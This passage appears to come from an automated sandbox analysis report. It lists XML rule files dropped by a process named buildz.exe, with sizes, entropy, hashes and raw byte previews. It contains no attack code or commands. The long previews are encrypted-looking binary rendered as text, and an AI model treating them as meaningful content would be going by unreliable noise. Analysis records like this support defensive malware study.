SSDEEP:	48:aDs2KpoVSacgdTseOK8Fh2UcBTkHsdqQCtcaz3H0d7D:aDB3cMgeOkFBwrQsW3
MD5:	CA211016B8624FEEA179565AD76918AC
SHA1:	ACCCF8F8E3BB3CC7309A891B1336941B7EE61CEC
SHA-256:	8D1D9ECB76A96758D24055B5C807DE378398CC7A98818D2D568298B3F93CDEF4
SHA-512:	8156FE448541B62F2F4AEF5BBC6EBD9571CD05AAD60E6707C806610D3AE4A072E9B43F896BD3BC196AB7C8946DF4659C224E4E7D46DF8DB45CE1DF04F67634E1
Malicious:	false
Reputation:	unknown
Preview:	.<?....>.8^..e.U.....X..'s4..X.}?....;.+.2....M...v....]....!..M\..!...7.W.V._:...:..a...{~L...Vz...'.....9.....!..C.#...F3XG=z.M...,....ir.`..\JI....1.4?...%...T..> ..K_{y~........7....q.Y+....Eg..c.Z.....dlrH74R.....~..\nd....)...2......G............f.7..l..<,..1...f..(...f.pI...uc.K....t;....^ZV2~5.........;...G.....a.ae..A.!v:+U....Tw..U.......Nq.c..+i..wb\..(.._.B.^4x../]R.Ef..&.H4.....8..\|.V9.N...t..i.,....^........UI...3+......^{.t...5....8ia......J..c'7&...R..CZ...S....[._7:..!.L.F.o.\|[.j....^.w...a;.jL....(.W..%K...,7.I.D..C...8.<..8q3.3R.../...8..'Q....g.;JE..._..U....YL.@H.T6.R..3........d...c..J.8...B..k.<.O...Dm..Y2.1.....L.)...e.E.f...X/.s..r.\|...e.U?....R).4C..,.&......S..O...E..G...w.......3-....3.37...Piy.y0.PQ.....+\|..^K6..[..w..(...x..!}]..u<....u.8.MIUL.^...e..d.,vnP(-.zg.........w.&.Sw.h^d.t...-V..S.Lpl.,....ag.c..C..*\..]..%....."..t..a..<.........b.1c.N.t..[JBc..er..0f.{...N50.\...;.J`q..}`\|...].F..5,.Z...[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.897021750153638
Encrypted:	false
SSDEEP:	48:pNXr1jN0VxR1vKtCk098sZ9MHGmG0iLtFc6VAO3/+x1Z8uMD:pxVN0HRMCk0msZ9MHKtBIqh
MD5:	C441DD37DFCAF4EA88A8A767A2101E5A
SHA1:	276745B0E3D35D9B4C9C3133DD0E439546F31511
SHA-256:	958ABB94AC829B120E7F1E58A2AABC18199EB1EB1B11F2F9A204F35909133908
SHA-512:	AFBCE5715062FF0F16261A794DB3042B91544DCDF5E32D4BCFB6CE284E803389A51581501BD3CDEE467AC2644AB149DEACDDB616B7F5804C790D6C446EF1884E
Malicious:	false
Reputation:	unknown
Preview:	.<?"...w.....~k]...}.].g..;...`....._.....c.R..{RH..X...E.8.......K........*.v.h.3;..)...\|.M.s..k.,..P...+.....-.Uj.)3..5...y]..U...\|9.,.$.....Z .......zzz...d.....h.!...].\|...<a.'6......(A^...".R...'8`...dm..t.r.t.I!>r>h".7..W.7...2.R....9tTh!.m,gc..Z..g!.....w-lg5....{.S..}cR....Bzf.IYH.Oa..T-...J'...Nx.......Ch{..E.,..v.z..K+.3..JTWI....K...b.P.3k..`..r...c.....:./.x....G....v!.....y...eP>..#C.........}.....G.F..Q.W.....[.z.G...w.?...o.y(..NoQu.~....X..eL.I...~......lr...N....%..b.7......L....!w..s..Di=..&.~.l+$...2......i..qM.......L.M.n.jrJ.qC.B.[T..=.r%......>..[.....(...DyA...D....B%.../~`.Q..H....w....0.o8L.....>.Pw..-#....-O6.....w..F.....7._...r..+.A.].k...C...X8..v{...G.......W.X#m]6..8Z...~.....b.^.K......xT..Q$...y....bloA.[......Z..=..p...J..CvL.v...ML,lU..<~.}.=A..A....@.f......&p'.z.<.p.e...lN<p.'z}...u~..YE~c/&....D.EE..H;...+..._...z;..o.3....(........DC...=....!.._.u~h.R..}H...~)..B.u .....!h..o.E...YG.3;...&.n,...~j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.89233848264042
Encrypted:	false
SSDEEP:	48:/Dnd4YGEefcaD9sA06Qq9BNNl1q5rie8jK0F3D:rcvUaDG4Qa/te8jKo
MD5:	0AD80AFEC421EC6E2A891FEEBA492783
SHA1:	2CDD8F16AD1E63155993E5E7FF75880078D39550
SHA-256:	FF012528F11C6921C6643536D0438631098B24D602F77978C612294C3968AB67
SHA-512:	F24F21EE36D93553E995D2A07EA8805848D76A4E271CE034BD4A7F788BF8CE404AD3B489958DC3791AA5C0A22EFB786A9F9A98C79DA638E907E7682C3BF2DA99
Malicious:	false
Reputation:	unknown
Preview:	.<?J.p@.,.N.%....o\|.o.x.r0.?G.0%y..\|.i..t....)...9.D......cX.........}.~t...J..i.\|... .%..Zaj...Q.....6...a..}..ED".........M...^..\..=.em..O.].uO.vC:-.1..._........V.j.yI9.M.2.#..-..%.[.:..^.G!.Wq.N...j..1a.{.%..eP.J.0.k...2.?=>/$A.{Ogq1?d.Z[&...S...........(..i.....,....S...v.l...V.a...M..t.....&...E..h...a........%.=oYjm'..C..M3......8.i.p...X.h.D. ..'..".3.#....5j1.c...^eJ_..J._.6c.X....C.]..ei..x.j....y.5.WU.X....JO..8..m..\|x....0..]`.gk...+.....v...9$.Y..Q..-..a....NM.tLo.z?...#..8!.\|.-j....;Q.....fF..RY..".........9...!@.c;....r.rM0.n......0c.....Y)...g....O1c...S6...(.=...T~...\.. .....I....U O.JooB.-k2.5.......I,..gS..7.RgpW.iJ.~.7..X..D..J..V.(.<.!.zzP..=... ..1<]. b.43~=....TY9...@.s....H.,z.......n..)<.@.....m..MM..n\.&I&......j.;-Q.@>..q4...........~.d...3o..9.h.jW.B..pQS1..,..T..G.`.....&..^"A.........w/.c.8}*..Y..q.e...3.....J.q.8....I.........1x.t..s....Lm..\|T/...F.^1\|.F.u...C0..E..V.Y.th$..._Gc.../B.z.C..I..O..]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.8903588260602815
Encrypted:	false
SSDEEP:	48:JxAy+Vjqtck+kU6ZwbBIgQ+kn9xLw3u9PssnAV9D:gywjqtckLI2g6/4APvAn
MD5:	2BFE7DC2F036AFA9D7226ED1F85894CE
SHA1:	084E52C99988A912CA38A6D23600A269166AB771
SHA-256:	DADFA4611DF8AB0773EB444B20D43CF66E63A5450338085B86749AD5CBC6694F
SHA-512:	9771906BBD5AEC379C3B03735E7E5B68824B0CB9C42622AC3910533FDAF351FE9CB1C7BBB802F2907E6D3DDDD4AAE832179F200FD9E24AB396CE323652DEDD6B
Malicious:	false
Reputation:	unknown
Preview:	.<?.r.;..6,9..............B...7K.yz..]..^.../i.Y..........N:V.<.<%..N. 5%<...]...D+..k8..S...........R.$y..L..<s.....N....RVm..a#..._dU.E...".#...c.P..D9.u....X6.H....umU7.4..{....yc(OH.of)h...O[.pu3.G..{........"... G.....%.d<c+.4...b....>a&..e...02...R0...eC...&........~R]P..8.6........C.\].mOD................xe...6.d4...j...n!cY..4........4..1.}e..w-.x.........~....N..d..(\8\..o.D......1.f. .\@UriR}m..X...`~.z.U.Dw..p.......%`..O[.....u....D..5.......}..!.sJ.AY*.V..^+.&B/%..NA..z...o.Jh.=....oH..U/.3..:......}..J-.8L..r.%(....fr..$.(.......h..!..B....RB....N.....d.'.!...pK..:Y..M......X....}..e... .MXm.z...O...H.x..L.Oe...o..9Ok..^..1...e..F..C.qrq(.\..W......[`...s.@.K.@4..M..g.`.`{#..%..%...r.k.R..v............9......%..A\....$.W.[C.eh.~$..2..f...~4.Q.Z......d......_(.F...bm..a..21...,l....c.....`.^...H.bcs:..<4.~..z.hT.....;..o..,..)._.M...\#.e...o.?y..x.,...jQ..K(..L..k......L..@#.$.....H.....S(..LB..;.9.T.I.H........b....I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.889703033128215
Encrypted:	false
SSDEEP:	48:l7xNPXgmbQWxRuLZD+hv3E3E/nuxFgtOQQ4GyJM4fD:lLPXttXhv03KucOQQ4GyBL
MD5:	902D872317DA1F0CBD3CA2F923C9D232
SHA1:	4A31772F57C68F3C3D002E9E33777744E402B773
SHA-256:	DBE00461842C99321B336E2B31C4D04FBE0351C8C0DA1DA9B7516A8E035897F3
SHA-512:	2C2FBD909759988C7A8C8386CD2F79C630FEA36B0D4FBAC42C726FB65AF1E8ABBBF0F52C118DD924F65146A4931BBD2F77C664FA44AB44B936747C8EF5B30159
Malicious:	false
Reputation:	unknown
Preview:	.<?....Z..a.....wi..~I\~r...<.i.l.=NP.c..w....#$.Ql..-...#Y..Vt._......(.G../A.@...Q..80/d.R....R....,..qt.[...U..@...Q.fV.:<$.....MG.....$5.v..pp.........^.:r:D....O.Y. .ugy.-.....x.G2.& ..c4xZ....8L..d.."0N.P#..\..."fp...W....B.@...X?..a.l..:.L..H/...U.bk..j.'...<g~.<oR.9.X\|..A.&Z.$..(@..+"......j..6.,..m,.....a$....L..q.C.t...E...... 0oQ..T.W.....j.>c.u-7tV..&...L\.0. ..[..{..x...9Kjc3M.&...6.Lzs.4.&...-s.E..p...I......d.......K9.e.X.b....v5.c&,...T.#WfU6(J..\|....g.M..5..K../U.B.;......=.{......d.<e....].7..p.....`s.3....e.w.3 ..........p5....c..4.<5..<.0r.z..V=n$.L!..M% ..Yt..a>G.....]Qk...q....S..\e..b8..<....2W....).Z..N$.'.u...~:.%.9.i_......LlWE...S7.2.rY...f$..h...`..o3.h...#..;'.J.C.c.#!..u.v......(B.\|.&HX-..=.f..Ar.PY.k...'%.J..Xu..z...I.>...o......).....E.....T...z.RL..fm,.7.2.$&...I.g...u.D.T......NW7.ni^%[. +..n)S.;Q...t{.\|....r.U..7....R......-.'s.B..w.l'.9.b...#.FV..m.~\|oV..t.;..........%...Fw9..O .(.F0^.^{.))....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.897250824101502
Encrypted:	false
SSDEEP:	48:KnUx63ibboQO3dKA2xGZs45urizwdSXrD:KnCQibqGD3iz5XH
MD5:	3F2007C721BD72913DA5CD390D47595D
SHA1:	C28A04518506F0911B507BDDE2D6A3C15514BCFC
SHA-256:	1F447CE1965801B95EDFFD61D9425BB2763E4F5C9731C0FD1D02614AA15F3B6E
SHA-512:	6CAF7B02B468D7A36BD8C5B5B48578040EA724795AA8D878995E4203797BB18AA5C8E15FE715EE34234621660D6F0312245C54338BDFAFFA164DBECE86CF5C1A
Malicious:	false
Reputation:	unknown
Preview:	.<?...'..Tj.1..%...^]...^...V....}.....V.........9.\|.P.>.;.T.N.;m....A..V~Ja/.=...Kc...X.....Y....\...`xk#3.&r4....'...yC..@.....~..[....VA'.R.Ev.....%...'.^..\...c......]..{....j..p..[E,B=..^0.f.oX,~,...!OR.E..B.......u.+..<..bP2.]........P]...8.............+X.)G\|]...m_....4..\|xi\|..?u..!D...]..{..%?...9..............%.J8..L....\{......e.o..A ..&.^?.$.k..~.:py....#_.1..8?2rV......XJ.J.7..o.el......rV........!...Da..O..`...H....(.gQ5..AZn..N.CoMy....t.U..l..P..B.p.....[vV.\.M..U......j@GE....K..!r. ;YPq...W.1.....q.w..`..M4..>C...N.....R...V.p..4Q.#-........st....j[...Y.z..JD.*........h._...QQ.......%..l..4...{..B.C..Xf..I...65....@=.k......R..q. ...Q.....E...$T_...cO.6.....9.....[h....y.t9:.......9..HW..+.$6/.0...C\.V...q......(FK.v.+#......m.[F..\lv.....9@/.pl.b.E..........r..l.f.P..U.&.0.....K)..S..."..).yy>.....A.....$.{['..T.2)E8...e.y..F....6..-.bse..Z..)....NV..5Ld...\|.c...=..c-....f.........4?R(}..L.......Ux.=...~6.?z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.893077161000363
Encrypted:	false
SSDEEP:	48:JMJJinJl29NEX0q5OdnfgHpNBnIA5xqyJOQwwTkD:2M3Ednf6BIEjAQwYw
MD5:	9148CBE8069637D7B0906EE914BF141F
SHA1:	BBCB405A3F46F03095FBA97BA995DE31BCEAED02
SHA-256:	555D4BBAD42E52245DF5BC8DAD22CA91300A6F67BA6892F5BBD0854E42831216
SHA-512:	B9DABF6C8C83E8A04DB031D96C48E65B0A5A290DD563A8E9A13F27F52787ACE35943679CFFF62BD8BA00BF9F7A3B5BB6A738AE03FC74FADBB34AFFF05D16AD59
Malicious:	false
Reputation:	unknown
Preview:	.<?`...I...S.'+.......W..#z..+.G:.V..6..n..-..P?...+$.......Xva..k........0YG.......j.dc...~f.[..\..=.......5B.Q.1Z..7..."[.\^..\|.[..h7....0.h1MTJ.S,.Z.[..\|.%.......;.."Bu...7..Ck..Z.,.D...}@'.g{.q.#VQ/{......f\|......B.......g.._.{{.\.)..%...?.....3...x.Z.Rk.\|v.Z......= DXBB......7.s.+.S....C@..0..C7@..o.5_..H.....o...AG..K..0..6...g.N....;.....&.o.. u.GV....._.kR,~....(...p..O..ep...c..Se...m\|.2;q...F.s#8..s.....3.C&.......hgy....,kM...\.w.$[.^...%....A...V.....".`..}F.t. ...%...~..n....m3....].l..A..'..W..{Y.....?...V."'..Ten.u.{.io..g...S...o....h..BM.h.......${@.X.4p.<..u2... }......).h#..h....[s.e .-.I.@....2.....?..Q.&3.0..%....~.^2..Q8.y...<O!.0.......'...C..O..8mR..#4g..:G.l.....z..3.....m.H......<..F$E..;....5}..ggZW...>{..&....g'..#..`.._q)..p.3...-Q.....m.aS(...;.;...&,...-.z.e.7...<........./...S.J.j... 6I....S....S.?..!..H@...b.x.3..?A0.........t..j..=....B...xK.X.....o.S..er.$...t....S..........>.+..1...P..(&.L..hL.`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.8805127721182275
Encrypted:	false
SSDEEP:	48:Vx3FiD7pgy2mNu9sxK4livXp5Q1g3cHbPQBD:Vx3qs9sxK4wvXPQa3c7PQp
MD5:	73259E567974B2682F8FBF051618A37C
SHA1:	E27E6DAFAD2A5D805D4611250DDE6A1118BA0BF6
SHA-256:	0305A16DC0E66836997E249F5C24337DC7DBA153BAA131E568EB9C9489911870
SHA-512:	D4DC560927EA6AC628B6F87314431806C7785329C234FEB3E1428DA4C80B3899A61DE7293B5E7FAEC65A37A03524BA57FC877EC2CA94F6A372D641DF7763A6B7
Malicious:	false
Reputation:	unknown
Preview:	.<?ImJ...?+...G.$...}.Tu+(.5.]..h,..L+..RK.4Z.wE.IP....l...nfLbb[._........7wl..ssoN..+.........8vc...Ea...+..uP.y......wK.m ...{..bKf.h....".S...Q..8yS.....U.b....I...^.P7.....!...A+......;o.....c..m3.&.......'.9.$=..=..'...X..I,.....3`..@I..\.C2..rD.r.?.GP..".o.....t.x.9l.....`Z..nZ.r.......m6..6.R............=]....f.n.......{..I8..!s.$.......cp...1.P.a...k..e......E%&.....At...G[%..`q..4.7.i&.............H.Dar..x58..g=.y..D...R]....o>....%._o%N.0....W..X.ID..CK..... ...n..[..c...=H!)n\|..)[..t..m.R't.'./.........%...u..........3D.u.G..VM.....\y.b..?.?.[...........m5J....{.o..=............'.M{H%...?..(.....u>e+...m..l.2....Ih.m._..T:..9...0.Xc.F@+...R.)....vv.A.#%...2p.Y..`..&.,0..h..6.oIt.(.a..#S..R.M..D..0..e~s.8............5..3+p......=....A..h.`b.8.v..[.uw..:N&......&..[. .-B..s.C......`.....w?.Q.JQ......]k.o..G..#.t^b..u....U..t.=.+BnJ......H..s;....Q....V.q....{Of.C8..z..."..E.?X....5..o.>..$.Y.._.g*..f.J...V..I!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.868981665314531
Encrypted:	false
SSDEEP:	48:QwYsfXDpjYCpdEFJ+4vWVlhmDi4LxuxLD:/YsPDpj9dEFwR7mdcZ
MD5:	4FDFE95D097307003F5C887AF12F5393
SHA1:	5726806EB98ACC872135799223D8404CE7DB24EB
SHA-256:	1FAE1697C0EE96FA42AB80B5CB5355FCD23293C2BDE057988402AE97CE3E2FBF
SHA-512:	92C2A1414E3F2F9E01EB916CEF1358666F8C74E9084C591D589F15752FEF0E21FC1B72DEDA47E745C65A2FBEA822CEFCFD7A43232317EAFDC520574210888A80
Malicious:	false
Reputation:	unknown
Preview:	.<?.....m...Om..#...I>.b.m.k#..2.l(L.0[.......~A.B4?F....U=.8.."..&.N..crfT:.{t#..6"Ce.....uE.....}.ugU...{.+.h.~........f.$.<.v$.K.....X..P...L.d...tkL.A.......^7O.$...4..Zs./.u.....o....S,...@..,.i.>..Q&.i.M..X{.T..D..a...}^.%......Xz.LJa./)..(.....g+aj..s..r.].p..bb.F.l.X..q2....eUv6.....]A.Dkj.....bU..O\. f..W..^`...=S....!........]...D..7....AN).U..N.....f.............S(..e..\|.......F....o...PJa...p......r...}....T.P....!-.f+....<.O.HZ..3.....<..^ ...<.>G.."..lb.t;.~.......WU\.\|.~@d....7.e..<.....1<V.X....x..6.>(..n.q........(...k....P.>..F.\&D.u...KSd...mX.J.Hk.O.O.V.Uo.e_.5..#.(U..`.......]......._....ysw..J._.O..@.{.0.$...@..3&..s..F..cJ[.Z..YEG....[...g......Q.&o....._r.Z.}tv...;y...Lv..V.x.xhF=...NA..G..d^.DE..O.......S........~7I(.......Q....Q..F.2.V....}:.z.QHO.<\..]..~.#.D.%^.fA]9.;..8rj!../.."....vD7.V.'f..6S.#.\.........Q.1.<.....^4....~.........S..-.W.t...Vq.O..`.....o..q..].".....?O.0.\|.".azj...W+z.v..}DG[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.887543746461913
Encrypted:	false
SSDEEP:	48:aj7B3jbTC2JQGvevjdPwHXABQiZ1b3iQaD:aHRTtJQGvevjFUXAB3biF
MD5:	2C61E2803B752BE7663E955EB0B441D0
SHA1:	685E04258F66156E1276C8ED51A7D85D2CAA6DE8
SHA-256:	4CEBBDC1633B3C5B672CE07DF5614972E4902066108374AFF8B797EBF40E81F8
SHA-512:	DA1C1473D204809D1F7A0EA4AB850ABDBA36C8E2CB645064BD6EBD8C4479B53964A2A326753C02DF625EB9628F7F1109C05AD3FBED908B9385415B49610181BB
Malicious:	false
Reputation:	unknown
Preview:	.<?.dP.0..mO.c...!.5>.zM...W.."keP9h....T...5@0P...R....lDzF.G...".....!..gw.dJ..+_......M.a.}..?b.f..(.;.h{..0....C.."@)...T......c-R...N&.D.vM...@...~`.[.QG....>".3C..z...-..Q-&.i. (''..D,..U..h,.M7;.......Y..}M.f..4....0VC............W<..5..;..........c...B.&kZ.b.PM5?B.a.2..M\|g6....E..S2..@%.8.."z!Y.vd_......$."ns....(A...V.e8..t.r?(.C...-W<...!.z^g...k.X.eGN.K~..d..q...w....)....S!..=......G}C....w...Y..$.....0...>..:...Ol...D.......z4..%K...4...}a......I.D^...Y..._B....}].0...b.4...K..h.F7...e...Y...d.O..9...5.."..........!.].w".@.....[...:.j.....^.Oo..1&...}....^$...C.H...?H.o.1@t..]. ...5\T...j.'hYz.Q.....0../U..'z&..F...w..H..if.n..#]......I.$d.J..Yya......(.A../..5..~&W...H'a..}.F/'+G...z.!2.l.^......Wm..j......o\|=.....4.....y..9I.v......#.l.I.y%E<..K.5....:k..vL..fMp}~..,.W&{.LQ..n..JO.u.\|K../.'...e/.....@.n<l9I..c..r5.D.y.P...u..B..m&D....Lq..o...N.."V.3=....q..T..q....E. .&q..b{S8..:..Idp~'S.3.R...e...r....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.877273418841972
Encrypted:	false
SSDEEP:	48:GTX7UP8vwzyvr6QSXcT2AnrTQzWDL8ab16KPl6smUezZmD:CQFWjAMT2P6DLjtcUezZ+
MD5:	F75146213124323B36AD85A77F549E67
SHA1:	2C64E3230280A9AF47D6CAC344CD6E2976661246
SHA-256:	5C74E64D046F2767AAE2C514A354FE199C079C21CC8A0239D06EB407D78DE1E2
SHA-512:	E83126386372B2F6F4958686DE67631653BAFE2BEE513B11DAF8B3F9FA94E05B8A0EEABD121413BD25C2E06C9BFFA79D00E26A2731D2815BB5A0DEF3B6AAB8CC
Malicious:	false
Reputation:	unknown
Preview:	.<?(^...<~..xy..u....9.H.+..k..3.u..U..X{Z...lp7.`2Tr..GC`y1...=F.... ...@..k.....z.JD.....q...y...!.hH6.fQq.+.....E.A...D.n]....`.&'.."._..9K.F.......c.V\|.........>f.....v.Ti...]#....4..Y[.....l.d.m.<f..}... ..~.g...E....<.Z........#l....:...c}.P..8.w.}..$.-.`.........T.........C.(......z.E29..d.....D.../.q.t.cq.".;.......rN.[D.........n.....Tn..N..\....C1}Z....0.o..<.w...y..k/..~][u...a.VE...7.b..........]7...aQ.>i...e.q...~......I..N.+.e.Vx3qn...x..s.t.D>..?$..9f...m.(%+.PJY.8.%"DT..7G.K.w.....Pp......czm...;.}./'...+.i....i.O5....:A..b%.OY/.....w&Z`...<R.e..F.QY..G..)W.....xc..=].mO..<..R..n.-.&.X0k.e..v...}....e......>.N.:..WCL.].^!]...5...........E.../j.......7.l..y...[..V..p..;..(eS.....V@t..9.f.0......fB.6.......PQ..U{..\j.e.4.w5\|.l".^..(...AI.]Np.......f.;$CCs...8.ag0...D...i..%.@. ..J.T...\6h. M.....k!]......C86.=.T)~.\|.[+l....r...m.....9E.....w.....5..j;...+...A]z. ........5?.mw.P+......N.....av.k<..m8...m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.901057220149182
Encrypted:	false
SSDEEP:	24:UwHn1irt0u63bP47HcVpqYTh8ve7DHQO73XyNMVtY2B+Wcy4x7BoRuvTnf6bxQ3u:95ulcmm+27DHQqyGVpPKmRYKQGD
MD5:	D4418830A40789831C8FF5D69BCA91E0
SHA1:	39E085EA03FCF66137D3E6BB3FE0F4B8E5911DB7
SHA-256:	6047FD250C8ECBC85C3E6B199B486494643A26AE2DF02C27A948CF5DD68C5778
SHA-512:	8CE8E1D6E4BCC6069FE88BD1483D255E7F5C6BD2137BAEE43888739913F4E43A79C8F954B154FFA0C192B6D9A2B90751CB25DA827D176F2A420D9323B50EB596
Malicious:	false
Reputation:	unknown
Preview:	.<?..e.....PD6^.:....._.F...G..L3.9.D....%V;..a...........a....<[...I.K.1.l.9.B.....8e....e0..6..#..9...;.X..e........Rk.F..(Y1.IS).u..i..{..]..E...(P.R.....I.$._...j..2...&.o...h.;ja..k...q}...<.p..t.J"..5.........gyNhyG..3....%._..0#..Z@..Oj)...6.C.O.P...>..JD.<..B.p,K.X.5..n.?.{.o...l.nu...dU..h....I.O.J.+./..".+c.\..4......w0.w.e.p.q........X.`'vi.tj0).M..r.jz@..+..E.....z. ...7....o...2.Y.o...Q.w...i..?(.........@/.h..&:Z.b.......n...J..........VJT.U.>..H..._=!4....Q.[...W.{]3.mU..d+...kU..0.6.x..0.T.......B...A.G.....8~;q.H...:f%n......L..K..qHm=...(..:.="....9.)H.K....ji.MK GA".."......&.9..r".j-I..#.uf..L...9.d.:..u.U..6k..)i.e....t.F0........6..?..W.x..7%.../.Q.x..2. ..L 5.c....X..f...}_.V=.z..R.....RI>..,..0..2....il..b/.....n.5.fJ..{e....>.....-).....(..9p..u..~.*..%;+.}.m..f.m.\k..@...#..3~..N)EMK..$.3Y.~.!.k...h........0]..q..0.K...+..+&p.p6NCl...=....EQy..=..dH..}^.R...ta.i#..b.<.+P.OOn......<S....k.3...E.Nv(..M?..a.s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.892673815445895
Encrypted:	false
SSDEEP:	24:KNZw+uK6f3W2+oGZ7nVJXlbtXhY+B9vdhyvSQ8h5kVC5Eg950+RkwE9c0uB/KRqw:uLuhPW1/ZXjXsSQIn5EM49IBKU5pUD
MD5:	67FDA3A2A4E10C8BD52E201E6CD84FD9
SHA1:	310E807B704FC4C5866C8DEB1527EE0E7092E93D
SHA-256:	D845796E3F8C0AFF70743049D35957A4A0FA762737E28D5102B27D2F2E2E3E1D
SHA-512:	B328E7E41D1D29525FD6C704D77F6F4BF2069ADBAEF03DC371406694F27D6BD1B97B555F4518199C74A526C6BB177B1EFFD2CD5AD8C982AFFECA85AC03BA2780
Malicious:	false
Reputation:	unknown
Preview:	.<?..m...3.r...e....\...^s.fQ..p.....<I......Z..(.3.(]%S...]...ik..G...]{.{m..<.9...RZ...].)../...2'1.hC..X......`2.j.W..QP......{f....N.:."p.Z..F.......E..\|..9X.?..`..O.t..+.~@..9.........T..f.f....r..Ja...$..#[..R.X.'..%.J@......Qr^.S+.Kp/.dE.u.f$..t...F.3...)G.8@..B9...Y.....W....P.n..h.._......JJn...._..L....&_.:....dD."..N.Q.....A.K..+[.JB..Q/U.C...c...".O...~\...D.BW.....\|...r.%c...m.>..SK...."..~.\.do./.....K..E9..2.....9...nd..ax.....Ny...>+.JJI.b....9..S..c....d.F...'.s.c..(u.N..2~...)..wl....l..<qc..2..\t=MI...<{R. ..l.[~a.....tk.A.....VP.............$........Q.....w.=.]..xU.]q..'W....MU;...Y....x.h.p...mE.Cl..;c)h...'h[....c.O...2.(..,6....@-.....64.)....r~....4f.j..'.0o((.\|>....q.Y.$.%Tp.....P..gq,....F...U.....\5.....#.P..?!"....0...\|{.My.J./.y..I.T...F$...,....bpF6.]......uN.{h.H.e8E..........\.c.(O.....\|.:.2....Z.Ep...O..M.o...1..L.e%....sl.3.O.8_D."..^...:XGPL....pH...d.z.>pk .t..e..pYxK".=.0.bF.3T..h?..`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.881903455695273
Encrypted:	false
SSDEEP:	48:YkyaH0jTSCPNBu2kJVO2NH130cwzxv6ZMbD:bynjWCPNBaVkcwdX
MD5:	837D066C7351B027A4721704773B8FBB
SHA1:	4715B9C1B28FFEF1DC41FF75999FDE73130D0B44
SHA-256:	2AD3E1E6A40297BC27B54612DA24A1A3D9463BF604164D12ED3B69E143F43927
SHA-512:	FF5AB880DBCDCF227556807F9E5CA4910A61D19B656CC3AE834C819FF2F6F8C3C3A598BBB44A3AE53D2FE7411D4702284D9441FC2EA23417DFEEE8C9B404E817
Malicious:	false
Reputation:	unknown
Preview:	.<?w.........>....l)F...J...4.P.[.~u...\4..<\|u..^v..m.NKcps..9..l.w..u`....8.BJ...#.......`r.1....D..w.V.m'~%...0.C..{.T.hb&...p".!.....!.......2].D..w.X...~.7?Y...FPY...JB.<....}.F....6.#a...^i...mf.2,......F..T....G?q.+..D.....s.?P'3.u..2.~.:.+3\...X.6n....7.Xr..@....TwI.\.v...i.R.....:...7....-....E...e;.1...b..\|...I.E......1.$J~..n.!..8..S...4.$#p..f. V..>.W...)..ic.....'.T)....]S..Z_..#N^...z...[.......u.^...x+...c`pwC{.2qgqN...n.....X1..c..\|.YH.e....6...'.e..VP.$...w\|<....d?.+.g...."&.....y.....@}.z....z.s!.. [O...@.r...Lv.9C.Pa=..[T^..8..%-_AfC..).5.......%.+..T.."...S",Dj.].....mI'.......j....V>.o.}..r.K.o..0.$../...U...Z....{!g?l."..F+..e....k.._:i.Y....m.....Zd.+...:.D....8..?.[.uE....Rj.Kp.32.T;.P..j..u.O.[.'....k/^....D.I.KS.H].`....v.cX.0.=2..)h...\|LND..a.q...Y.d.0. ..../$.O..8x.~.DQu...-.sB.L`.'x-..2.-.........{.....1...@..`....j..`g.4..X...Cg.G........^e:x@..8.+.W..\|]...V,.C...(....(../<..@...}^.R....x.......1...9./..8..v..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.88891668180372
Encrypted:	false
SSDEEP:	48:O9frFKmfYy6s72oT+3TevsFPFWWBJPjRUSoPsZhD:OlffYy6oT+jeTkhFUSKY
MD5:	2AB654D52A9B9645D9603BC87D82299A
